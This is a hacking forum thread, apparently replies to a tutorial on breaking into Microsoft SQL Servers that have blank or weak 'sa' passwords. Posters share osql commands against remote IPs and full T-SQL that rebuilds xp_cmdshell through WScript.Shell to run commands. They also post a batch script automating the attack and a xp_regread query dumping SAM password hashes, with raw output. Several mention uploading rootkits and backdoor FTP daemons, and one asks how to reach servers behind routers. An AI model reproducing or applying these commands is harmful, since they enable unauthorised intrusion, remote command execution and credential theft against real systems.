i usually type this, with the folders in front of course....but whats the /s do?
ServUDaemon.exe /h /i

oh, and you can control your ftp from serv-u admin, so you can see who connects to it and that sorta crap

no not serv u i upload my rootkit wit pkunzip and extract or i upload my .exe and then it freezes but dunno if it works and what does

btw is there another way i can upload to a sql w/o ftp or tftp??

nice tut great work ill gonna give it a try and ask question i'm stuck

usually, i will try....
exec sp_dropextendedproc , "xp_cmdshell",
then do sp_addextendedproc to add a new xp_cmdshell.

anyway, this is a nice post. thk.

i tested the script and it works... why is it so easy ;)
i think you can't secure it completely, there is always a way to break through :(

nice tut gonna check it out
thnx

Can some one help me?
I did all tut in hier , but it doesnt work.
Hier u can see:
1-Sqlexec.exe with Apple icon say: SQL_ERROR
---------------------------------------------
2-osql
C:\sql>osql.exe -S xxxx.xxx.xxx.xxx -U sa -P "" -i restore.txt
1> 2> 3> Msg 2714, Level 16, State 7, Server CROWN, Procedure sp_addextendedproc
, Line 26
[Microsoft][ODBC SQL Server Driver][SQL Server]There is already an object named
'xp_cmdshell' in the database.
1>
------------------------------------------------
3-SqlBrower
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult


EXECUTE @OLEResult = sp_OADestroy @ShellID

return @result

It come like this:
Line 20:Incorrect syntax near '@ShellID'
---------------------------------------------------------------
Help me pl.!

I've got some problems with this command:

osql.exe -S 123.123.123.123 -U sa -P "" -Q "USE master EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'"

This command doesn't gives error but the output is very bad:

Value

Data

-------------------------------------------------------------------------------

------------------------------------------------------------------------

------------------------------------------------------------------------

------------------------------------------------------------------------

--------
F


0x0200010000000000D012942D21EAC201E42B0D00000000000000000040DEFFFF000000
0000000000000000000000008000CC1DCFFBFFFFFF00CC1DCFFBFFFFFF00000000000000
008511000000000000000000000000000001000000030000000100000001000100010000
0038000000F44BA49F0EA9016269256DC4694F8DC6F11CBCF7B6757510968A50DC3CFB09

84FA3B6548BB2EF77D5D1C9ED0D138ACE00000000000000000



Can't see what the hashes are and the usernames.
Anyone got a suggestion? Maybe using something else than Osql?

Thank u for reply!
however it doesnt work.
I open sqlbrowser give thecommand:
DROP xp_cmdshell
and klick on connect
Error pop up:
Line 1:Incorrect syntax near 'xp_cmdshell'
Other idea?

in SQLEXEC ( green apple ) this command
exec sp_dropextendedproc 'xp_cmdshell'
with format %s works fine for me.

Another way Enterprise Manager query analyzer, there you can choose
the DB and use the command. This should work in all cases.

No no no success!

i do the command, and get

C:\>osql.exe -S xx.xx.xx.xx -U sa -P 1 -i restore.txt
1> 2> 3> 1>

but i stil get SQL ERROR in sqlexec when i try to make a cmd command

any suggestions on what im doing wrong ?

hiGh...i think for deleting the xp_cmdshell you must use the following command:

drop procedure xp_cmdshell


it works fine with the sql-brower...after doing that you can create a new one

Hi!

Can someone give me a link to the sqlbrowser. I didn´t find the right one described in the tut.

Thx!

well typ "sqlbrowser" in google...maybe "sqlbrowser download" and then you got it....its that easy!!

make a small batch like this :

osql -S %1 -U %2 -P %3 -i drop.txt
osql -S %1 -U %2 -P %3 -i restore.txt

for example call it s.bat

while drop.txt should be filled with :

DROP PROC xp_cmdshell

and shell.txt with:

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult


EXECUTE @OLEResult = sp_OADestroy @ShellID

return @result


now call s.bat ip user pass

PS of cause 4 dummies put the osql.exe in the same dir as the s.bat

HF

But another thing :

sometimes this dont work even if u got all permissions my idea is that maybe the cmd.exe is corrupt i think we have to modify this line :

EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait

but i have no idea wich *.exe we could use 4 executing commands

Thanks for this nice tut. I tried it and it worked .
I've got two questions:
When I restored the xp_cmdshell, I don't get a Sql Error, but theres no output in SQLExec. Has every SQL Server with a restored xp_cmdshell to be hacked blind?

And the other question is:
How can I hack a sql server that's behind a router. The normal way doesn't work. Almost all SQL Servers I find are behind a router .
But I know that it's possible.

Thanks for Help!

cya Eps__Em

same here.....

thx 4 help!